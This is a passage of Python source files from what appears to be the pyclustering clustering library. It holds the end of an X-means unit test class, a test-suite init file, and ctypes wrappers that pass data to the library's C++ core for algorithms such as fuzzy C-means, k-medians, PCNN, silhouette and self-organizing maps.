testMndlClusterAllocationSampleSimple1MetricCanberra(self): metric = distance_metric(type_metric.CANBERRA) XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False, metric=metric) def testMndlClusterAllocationSampleSimple1MetricChiSquare(self): metric = distance_metric(type_metric.CHI_SQUARE) XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False, metric=metric, alpha=0.1, beta=0.1, random_state=1000) def testMndlClusterAllocationSampleSimple1MetricGower(self): metric = distance_metric(type_metric.GOWER, data=read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE1)) XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False, metric=metric) def testBicWrongStartClusterAllocationSampleSimple1(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5]], [5, 5], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testMndlClusterAllocationSampleSimple1(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False, alpha=0.1, beta=0.1) def testMndlSampleSimple1WithoutInitialCenters(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, None, [5, 5], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False, alpha=0.1, beta=0.1) def testMndlWrongStartClusterAllocationSampleSimple1(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5]], [5, 5], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False, alpha=0.1, beta=0.1) def testBicClusterAllocationSampleSimple2(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, [[3.5, 4.8], [6.9, 7], [7.5, 0.5]], [10, 5, 8], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testBicClusterAllocationSampleSimple2Repeat(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, [[3.5, 4.8], [6.9, 7], [7.5, 0.5]], [10, 5, 8], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False, repeat=5) def testBicWrongStartClusterAllocationSampleSimple2(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, [[3.5, 4.8], [6.9, 7]], [10, 5, 8], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testMndlClusterAllocationSampleSimple2(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, [[3.5, 4.8], [6.9, 7], [7.5, 0.5]], [10, 5, 8], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False, alpha=0.1, beta=0.1) def testMndlWrongStartClusterAllocationSampleSimple2(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, [[3.5, 4.8], [6.9, 7]], [10, 5, 8], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False, alpha=0.1, beta=0.1) def testBicClusterAllocationSampleSimple3(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, [[0.2, 0.1], [4.0, 1.0], [2.0, 2.0], [2.3, 3.9]], [10, 10, 10, 30], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testBicClusterAllocationSampleSimple3Repeat(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, [[0.2, 0.1], [4.0, 1.0], [2.0, 2.0], [2.3, 3.9]], [10, 10, 10, 30], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False, repeat=5) def testBicWrongStartClusterAllocationSampleSimple3(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, [[0.2, 0.1], [4.0, 1.0], [5.9, 5.9]], [10, 10, 10, 30], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testBicClusterAllocationMaxLessRealSampleSimple3(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, [[4.0, 1.0], [2.0, 2.0], [2.3, 3.9]], None, splitting_type.BAYESIAN_INFORMATION_CRITERION, 3, False) def testBicWrongStartClusterClusterAllocationSampleSimple3(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, [[4.0, 1.0], [2.0, 2.0], [2.3, 3.9]], [10, 10, 10, 30], splitting_type.BAYESIAN_INFORMATION_CRITERION, 4, False) def testMndlClusterAllocationSampleSimple3(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, [[0.2, 0.1], [4.0, 1.0], [2.0, 2.0], [2.3, 3.9]], [10, 10, 10, 30], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False, alpha=0.2, beta=0.2) def testMndlWrongStartClusterClusterAllocationSampleSimple3(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, [[4.0, 1.0], [2.0, 2.0], [2.3, 3.9]], [10, 10, 10, 30], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 4, False, alpha=0.2, beta=0.2) def testBicClusterAllocationSampleSimple4(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE4, [[1.5, 0.0], [1.5, 2.0], [1.5, 4.0], [1.5, 6.0], [1.5, 8.0]], [15, 15, 15, 15, 15], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testBicClusterAllocationSampleSimple4Repeat(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE4, [[1.5, 0.0], [1.5, 2.0], [1.5, 4.0], [1.5, 6.0], [1.5, 8.0]], [15, 15, 15, 15, 15], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False, repeat=5) def testBicWrongStartClusterAllocationSampleSimple4(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE4, [[1.5, 0.0], [1.5, 2.0], [1.5, 4.0], [1.5, 6.0]], [15, 15, 15, 15, 15], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testBicClusterAllocationMaxLessRealSampleSimple4(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE4, [[1.5, 4.0]], None, splitting_type.BAYESIAN_INFORMATION_CRITERION, 2, False) def testMndlClusterAllocationSampleSimple4(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE4, [[1.5, 0.0], [1.5, 2.0], [1.5, 4.0], [1.5, 6.0], [1.5, 8.0]], [15, 15, 15, 15, 15], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False) def testMndlWrongStartClusterAllocationSampleSimple4(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE4, [[1.5, 0.0], [1.5, 2.0], [1.5, 4.0], [1.5, 6.0]], [15, 15, 15, 15, 15], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False) def testMndlClusterAllocationMaxLessRealSampleSimple4(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE4, [[1.5, 4.0]], None, splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 2, False) def testBicClusterAllocationSampleSimple5(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, [[0.0, 1.0], [0.0, 0.0], [1.0, 1.0], [1.0, 0.0]], [15, 15, 15, 15], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testBicWrongStartClusterAllocationSampleSimple5(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, [[0.0, 1.0], [0.0, 0.0]], [15, 15, 15, 15], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testMndlClusterAllocationSampleSimple5(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, [[0.0, 1.0], [0.0, 0.0], [1.0, 1.0], [1.0, 0.0]], [15, 15, 15, 15], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False, random_state=1000) def testMndlWrongStartClusterAllocationSampleSimple5(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, [[0.0, 1.0], [0.0, 0.0]], [15, 15, 15, 15], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False, random_state=1000) def testBicClusterAllocationSampleSimple6(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE6, [[3.5, 3.5], [3.7, 3.7]], [20, 21], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testBicClusterAllocationSampleSimple6WithoutInitial(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE6, None, [20, 21], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testMndlClusterAllocationSampleSimple6(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE6, [[3.5, 3.5], [3.7, 3.7]], [20, 21], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False) def testMndlClusterAllocationSampleSimple6WithoutInitial(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE6, None, [20, 21], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False) def testBicClusterAllocationSampleSimple7(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, [[1], [2]], [10, 10], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testBicClusterAllocationSampleSimple7WithoutInitial(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, None, [10, 10], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testMndlClusterAllocationSampleSimple7(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, [[1], [2]], [10, 10], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False, alpha=0.01, beta=0.01) def testMndlClusterAllocationSampleSimple7WithoutInitial(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, None, [10, 10], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False, alpha=0.01, beta=0.01) def testBicClusterAllocationSampleSimple8(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE8, [[-2.0], [3.0], [6.0], [12.0]], [15, 30, 20, 80], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testBicClusterAllocationSampleSimple8WrongAmountCenters(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE8, [[3.0], [6.0]], [15, 30, 20, 80], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testMndlClusterAllocationSampleSimple8WrongAmountCenters(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE8, [[3.0], [6.0]], [15, 30, 20, 80], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False, alpha=0.2, beta=0.2) def testBicClusterAllocationSampleSimple8WrongAmountCentersRandomState(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE8, [[3.0], [6.0]], [15, 30, 20, 80], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False, random_state=1000) def testMndlClusterAllocationSampleSimple8WrongAmountCentersRandomState(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE8, [[3.0], [6.0]], [15, 30, 20, 80], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False, random_state=1000) def testBicClusterAllocationSampleSimple9(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE9, [[3.0], [6.0]], [10, 20], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testBicClusterAllocationSampleSimple9WithoutInitial(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE9, None, [10, 20], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testBicClusterAllocationSampleSimple10(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE10, [[0.0, 0.3], [4.5, 3.4], [10.1, 10.6]], [11, 11, 11], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testBicClusterAllocationSampleSimple10WithoutInitial(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE10, None, [11, 11, 11], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testBicClusterAllocationSampleTwoDiamonds(self): XmeansTestTemplates.templateLengthProcessData(FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, [[0.8, 0.2], [3.0, 0.0]], [400, 400], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testBicWrongStartClusterAllocationSampleTwoDiamonds(self): XmeansTestTemplates.templateLengthProcessData(FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, [[0.8, 0.2]], [400, 400], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testMndlClusterAllocationSampleTwoDiamonds(self): XmeansTestTemplates.templateLengthProcessData(FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, [[0.8, 0.2], [3.0, 0.0]], [400, 400], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False) def testMathErrorDomainBic(self): # This is test for bug that was found in #407: 0.0 under logarithm function. XmeansTestTemplates.templateLengthProcessData([[0], [0], [10], [10], [20], [20]], [[5], [20]], [2, 2, 2], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testMathErrorDomainMndl(self): XmeansTestTemplates.templateLengthProcessData([[0], [0], [10], [10], [20], [20]], [[5], [20]], [2, 2, 2], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False) def testClusterAllocationOneDimensionData(self): XmeansTestTemplates.templateClusterAllocationOneDimensionData(False) def testKmax05Amount3Offset02Initial01(self): XmeansTestTemplates.templateMaxAllocatedClusters(False, 10, 3, 2, 1, 2) def testKmax05Amount5Offset02Initial01(self): XmeansTestTemplates.templateMaxAllocatedClusters(False, 10, 5, 2, 1, 5) def testKmax05Amount5Offset02Initial02(self): XmeansTestTemplates.templateMaxAllocatedClusters(False, 10, 5, 2, 2, 5) def testKmax05Amount10Offset02Initial03(self): XmeansTestTemplates.templateMaxAllocatedClusters(False, 10, 10, 2, 3, 5) def testKmax05Amount10Offset02Initial04(self): XmeansTestTemplates.templateMaxAllocatedClusters(False, 10, 10, 2, 4, 5) def testKmax05Amount10Offset02Initial05(self): XmeansTestTemplates.templateMaxAllocatedClusters(False, 10, 10, 2, 5, 5) def testKmax05Amount20Offset02Initial05(self): XmeansTestTemplates.templateMaxAllocatedClusters(False, 20, 10, 2, 5, 5) def testKmax05Amount01Offset01Initial04(self): XmeansTestTemplates.templateMaxAllocatedClusters(False, 1, 1000, 1, 4, 5) def testPredictOnePoint(self): centers = [[0.2, 0.1], [4.0, 1.0], [2.0, 2.0], [2.3, 3.9]] XmeansTestTemplates.templatePredict(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, centers, [[0.3, 0.2]], 4, [0], False) XmeansTestTemplates.templatePredict(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, centers, [[4.1, 1.1]], 4, [1], False) XmeansTestTemplates.templatePredict(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, centers, [[2.1, 1.9]], 4, [2], False) XmeansTestTemplates.templatePredict(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, centers, [[2.1, 4.1]], 4, [3], False) def testPredictTwoPoints(self): centers = [[0.2, 0.1], [4.0, 1.0], [2.0, 2.0], [2.3, 3.9]] XmeansTestTemplates.templatePredict(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, centers, [[0.3, 0.2], [2.1, 1.9]], 4, [0, 2], False) XmeansTestTemplates.templatePredict(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, centers, [[2.1, 4.1], [2.1, 1.9]], 4, [3, 2], False) def test_random_state_1(self): XmeansTestTemplates.random_state(False, 2, 10, 1) def test_random_state_2(self): XmeansTestTemplates.random_state(False, 2, 10, 2) def test_random_state_4(self): XmeansTestTemplates.random_state(False, 2, 10, 4) def test_random_state_32(self): XmeansTestTemplates.random_state(False, 2, 10, 32) def test_random_state_1024(self): XmeansTestTemplates.random_state(False, 2, 10, 1024) def test_random_state_65536(self): XmeansTestTemplates.random_state(False, 2, 10, 65536) def test_incorrect_data(self): self.assertRaises(ValueError, xmeans, []) def test_incorrect_centers(self): self.assertRaises(ValueError, xmeans, [[0], [1], [2]], []) def test_incorrect_tolerance(self): self.assertRaises(ValueError, xmeans, [[0], [1], [2]], [[1]], 20, -1) def test_incorrect_repeat(self): self.assertRaises(ValueError, xmeans, [[0], [1], [2]], repeat=0) ``` #### File: container/tests/__init__.py ```python from pyclustering.tests.suite_holder import suite_holder from pyclustering.container.tests.unit import container_unit_tests class container_tests(suite_holder): def __init__(self): super().__init__() container_unit_tests.fill_suite(self.get_suite()) @staticmethod def fill_suite(container_suite): container_unit_tests.fill_suite(container_suite) ``` #### File: pyclustering/core/agglomerative_wrapper.py ```python from ctypes import c_size_t, c_double, POINTER; from pyclustering.core.wrapper import ccore_library; from pyclustering.core.pyclustering_package import pyclustering_package, package_extractor, package_builder; def agglomerative_algorithm(data, number_clusters, link): pointer_data = package_builder(data, c_double).create(); ccore = ccore_library.get(); ccore.agglomerative_algorithm.restype = POINTER(pyclustering_package); package = ccore.agglomerative_algorithm(pointer_data, c_size_t(number_clusters), c_size_t(link)); result = package_extractor(package).extract(); ccore.free_pyclustering_package(package); return result; ``` #### File: pyclustering/core/fcm_wrapper.py ```python from ctypes import c_double, c_size_t, POINTER from pyclustering.core.wrapper import ccore_library from pyclustering.core.pyclustering_package import pyclustering_package, package_extractor, package_builder class fcm_package_indexer: INDEX_CLUSTERS = 0 INDEX_CENTERS = 1 INDEX_MEMBERSHIP = 2 def fcm_algorithm(sample, centers, m, tolerance, itermax): pointer_data = package_builder(sample, c_double).create() pointer_centers = package_builder(centers, c_double).create() ccore = ccore_library.get() ccore.fcm_algorithm.restype = POINTER(pyclustering_package) package = ccore.fcm_algorithm(pointer_data, pointer_centers, c_double(m), c_double(tolerance), c_size_t(itermax)) result = package_extractor(package).extract() ccore.free_pyclustering_package(package) return result ``` #### File: pyclustering/core/kmedians_wrapper.py ```python from ctypes import c_double, c_size_t, POINTER from pyclustering.core.wrapper import ccore_library from pyclustering.core.pyclustering_package import pyclustering_package, package_extractor, package_builder def kmedians(sample, centers, tolerance, itermax, metric_pointer): pointer_data = package_builder(sample, c_double).create() pointer_centers = package_builder(centers, c_double).create() ccore = ccore_library.get() ccore.kmedians_algorithm.restype = POINTER(pyclustering_package) package = ccore.kmedians_algorithm(pointer_data, pointer_centers, c_double(tolerance), c_size_t(itermax), metric_pointer) result = package_extractor(package).extract() ccore.free_pyclustering_package(package) return result[0], result[1] ``` #### File: pyclustering/core/metric_wrapper.py ```python from pyclustering.core.wrapper import ccore_library from pyclustering.core.pyclustering_package import package_builder, package_extractor, pyclustering_package from ctypes import c_double, c_size_t, POINTER, c_void_p, CFUNCTYPE from pyclustering.utils.metric import type_metric metric_callback = CFUNCTYPE(c_double, POINTER(pyclustering_package), POINTER(pyclustering_package)) class metric_wrapper: def __init__(self, type_metric_code, arguments, func): self.__func = lambda p1, p2: func(package_extractor(p1).extract(), package_extractor(p2).extract()) package_arguments = package_builder(arguments, c_double).create() ccore = ccore_library.get() ccore.metric_create.restype = POINTER(c_void_p) self.__pointer = ccore.metric_create(c_size_t(type_metric_code), package_arguments, metric_callback(self.__func)) def __del__(self): if self.__pointer: ccore = ccore_library.get() ccore.metric_destroy(self.__pointer) def __call__(self, point1, point2): point_package1 = package_builder(point1, c_double).create() point_package2 = package_builder(point2, c_double).create() ccore = ccore_library.get() ccore.metric_calculate.restype = c_double return ccore.metric_calculate(self.__pointer, point_package1, point_package2) def get_pointer(self): return self.__pointer @staticmethod def create_instance(metric): mtype = metric.get_type() arguments = [] if mtype == type_metric.MINKOWSKI: arguments = [metric.get_arguments().get('degree')] elif mtype == type_metric.GOWER: arguments = metric.get_arguments().get('max_range') return metric_wrapper(mtype, arguments, metric.get_function()) ``` #### File: pyclustering/core/pam_build_wrapper.py ```python from ctypes import c_double, c_size_t, POINTER from pyclustering.core.converter import convert_data_type from pyclustering.core.wrapper import ccore_library from pyclustering.core.pyclustering_package import pyclustering_package, package_builder, package_extractor def pam_build(sample, amount, pointer_metric, data_type): pointer_data = package_builder(sample, c_double).create() c_data_type = convert_data_type(data_type) ccore = ccore_library.get() ccore.pam_build_algorithm.restype = POINTER(pyclustering_package) package = ccore.pam_build_algorithm(pointer_data, c_size_t(amount), pointer_metric, c_data_type) results = package_extractor(package).extract() ccore.free_pyclustering_package(package) if isinstance(results, bytes): raise RuntimeError(results.decode('utf-8')) return results[0] ``` #### File: pyclustering/core/pcnn_wrapper.py ```python from pyclustering.core.wrapper import *; from pyclustering.core.pyclustering_package import package_builder, package_extractor, pyclustering_package; class c_pcnn_parameters(Structure): _fields_ = [ ("VF", c_double), ("VL", c_double), ("VT", c_double), ("AF", c_double), ("AL", c_double), ("AT", c_double), ("W", c_double), ("M", c_double), ("B", c_double), ("FAST_LINKING", c_bool) ]; def pcnn_create(size, conn_type, height, width, params): ccore = ccore_library.get(); c_parameters = c_pcnn_parameters(); c_parameters.VF = params.VF; c_parameters.VL = params.VL; c_parameters.VT = params.VT; c_parameters.AF = params.AF; c_parameters.AL = params.AL; c_parameters.AT = params.AT; c_parameters.W = params.W; c_parameters.M = params.M; c_parameters.FAST_LINKING = params.FAST_LINKING; ccore.pcnn_create.restype = POINTER(c_void_p); pcnn_pointer = ccore.pcnn_create(c_uint(size), c_uint(conn_type), c_uint(height), c_uint(width), pointer(c_parameters)); return pcnn_pointer; def pcnn_destroy(network_pointer): ccore = ccore_library.get(); ccore.pcnn_destroy(network_pointer); def pcnn_simulate(network_pointer, steps, stimulus): ccore = ccore_library.get(); c_stimulus = package_builder(stimulus, c_double).create(); ccore.pcnn_simulate.restype = POINTER(c_void_p); return ccore.pcnn_simulate(network_pointer, c_uint(steps), c_stimulus); def pcnn_get_size(network_pointer): ccore = ccore_library.get(); ccore.pcnn_get_size.restype = c_size_t; return ccore.pcnn_get_size(network_pointer); def pcnn_dynamic_destroy(dynamic_pointer): ccore = ccore_library.get(); ccore.pcnn_dynamic_destroy(dynamic_pointer); def pcnn_dynamic_allocate_sync_ensembles(dynamic_pointer): ccore = ccore_library.get(); ccore.pcnn_dynamic_allocate_sync_ensembles.restype = POINTER(pyclustering_package); package = ccore.pcnn_dynamic_allocate_sync_ensembles(dynamic_pointer); result = package_extractor(package).extract(); ccore.free_pyclustering_package(package); return result; def pcnn_dynamic_allocate_spike_ensembles(dynamic_pointer): ccore = ccore_library.get(); ccore.pcnn_dynamic_allocate_spike_ensembles.restype = POINTER(pyclustering_package); package = ccore.pcnn_dynamic_allocate_spike_ensembles(dynamic_pointer); result = package_extractor(package).extract(); ccore.free_pyclustering_package(package); return result; def pcnn_dynamic_allocate_time_signal(dynamic_pointer): ccore = ccore_library.get(); ccore.pcnn_dynamic_allocate_time_signal.restype = POINTER(pyclustering_package); package = ccore.pcnn_dynamic_allocate_time_signal(dynamic_pointer); result = package_extractor(package).extract(); ccore.free_pyclustering_package(package); return result; def pcnn_dynamic_get_output(dynamic_pointer): ccore = ccore_library.get(); ccore.pcnn_dynamic_get_output.restype = POINTER(pyclustering_package); package = ccore.pcnn_dynamic_get_output(dynamic_pointer); result = package_extractor(package).extract(); ccore.free_pyclustering_package(package); return result; def pcnn_dynamic_get_time(dynamic_pointer): ccore = ccore_library.get(); ccore.pcnn_dynamic_get_time.restype = POINTER(pyclustering_package); package = ccore.pcnn_dynamic_get_time(dynamic_pointer); result = package_extractor(package).extract(); ccore.free_pyclustering_package(package); return result; def pcnn_dynamic_get_size(dynamic_pointer): ccore = ccore_library.get(); ccore.pcnn_dynamic_get_time.restype = c_size_t; return ccore.pcnn_dynamic_get_size(dynamic_pointer); ``` #### File: pyclustering/core/silhouette_wrapper.py ```python from ctypes import c_double, c_longlong, c_size_t, POINTER from pyclustering.core.converter import convert_data_type from pyclustering.core.wrapper import ccore_library from pyclustering.core.pyclustering_package import pyclustering_package, package_builder, package_extractor class silhouette_ksearch_package_indexer: SILHOUETTE_KSEARCH_PACKAGE_INDEX_AMOUNT = 0 SILHOUETTE_KSEARCH_PACKAGE_INDEX_SCORE = 1 SILHOUETTE_KSEARCH_PACKAGE_INDEX_SCORES = 2 def silhoeutte(sample, clusters, pointer_metric, data_type): pointer_data = package_builder(sample, c_double).create() pointer_clusters = package_builder(clusters, c_size_t).create() c_data_type = convert_data_type(data_type) ccore = ccore_library.get() ccore.silhouette_algorithm.restype = POINTER(pyclustering_package) package = ccore.silhouette_algorithm(pointer_data, pointer_clusters, pointer_metric, c_data_type) result = package_extractor(package).extract() ccore.free_pyclustering_package(package) return result def silhoeutte_ksearch(sample, kmin, kmax, allocator, random_state): random_state = random_state or -1 pointer_data = package_builder(sample, c_double).create() ccore = ccore_library.get() ccore.silhouette_ksearch_algorithm.restype = POINTER(pyclustering_package) package = ccore.silhouette_ksearch_algorithm(pointer_data, c_size_t(kmin), c_size_t(kmax), c_size_t(allocator), c_longlong(random_state)) results = package_extractor(package).extract() ccore.free_pyclustering_package(package) return (results[silhouette_ksearch_package_indexer.SILHOUETTE_KSEARCH_PACKAGE_INDEX_AMOUNT][0], results[silhouette_ksearch_package_indexer.SILHOUETTE_KSEARCH_PACKAGE_INDEX_SCORE][0], results[silhouette_ksearch_package_indexer.SILHOUETTE_KSEARCH_PACKAGE_INDEX_SCORES]) ``` #### File: pyclustering/core/som_wrapper.py ```python from ctypes import Structure, c_longlong, c_uint, c_size_t, c_double, c_void_p, pointer, POINTER from pyclustering.core.wrapper import ccore_library from pyclustering.core.pyclustering_package import pyclustering_package, package_builder, package_extractor class c_som_parameters(Structure): """! @brief Description of SOM parameters in memory. @details The following memory mapping is used in order to store the structure: @code struct som_params { unsigned int init_type; double init_radius; double init_learn_rate; double adaptation_threshold; long long random_state; }; @endcode """ _fields_ = [("init_type", c_uint), ("init_radius", c_double), ("init_learn_rate", c_double), ("adaptation_threshold", c_double), ("random_state", c_longlong)] def som_create(rows, cols, conn_type, parameters): """! @brief Create of self-organized map using C++ pyclustering library. @param[in] rows (uint): Number of neurons in the column (number of rows). @param[in] cols (uint): Number of neurons in the row (number of columns). @param[in] conn_type (type_conn): Type of connection between oscillators in the network (grid four, grid eight, honeycomb, function neighbour). @param[in] parameters (som_parameters): Other specific parameters. @return (POINTER) C-pointer to object of self-organized feature in memory. """ ccore = ccore_library.get() c_params = c_som_parameters() c_params.init_type = parameters.init_type c_params.init_radius = parameters.init_radius c_params.init_learn_rate = parameters.init_learn_rate c_params.adaptation_threshold = parameters.adaptation_threshold c_params.random_state = parameters.random_state or -1 ccore.som_create.restype = POINTER(c_void_p) som_pointer = ccore.som_create(c_uint(rows), c_uint(cols), c_uint(conn_type), pointer(c_params)) return som_pointer def som_load(som_pointer, weights, award, capture_objects): """! @brief Load dump of the network to SOM. @details Initialize SOM using existed weights, amount of captured objects by each neuron, captured objects by each neuron. Initialization is not performed if weights are empty. @param[in] som_pointer (POINTER): pointer to object of self-organized map. @param[in] weights (list): weights that should assigned to neurons. @param[in] awards (list): amount of captured objects by each neuron. @param[in] capture_objects (list): captured objects by each neuron. """ if len(weights) == 0: return ccore = ccore_library.get() package_weights = package_builder(weights, c_double).create() package_award = package_builder(award, c_size_t).create() package_capture_objects = package_builder(capture_objects, c_size_t).create() ccore.som_load(som_pointer, package_weights, package_award, package_capture_objects) def som_destroy(som_pointer): """! @brief Destroys self-organized map. @param[in] som_pointer (POINTER): pointer to object of self-organized map. """ ccore = ccore_library.get() ccore.som_destroy(som_pointer) def som_train(som_pointer, data, epochs, autostop): """! @brief Trains self-organized feature map (SOM) using CCORE pyclustering library. @param[in] data (list): Input data - list of points where each point is represented by list of features, for example coordinates. @param[in] epochs (uint): Number of epochs for training. @param[in] autostop (bool): Automatic termination of learining process when adaptation is not occurred. @return (uint) Number of learining iterations. """ 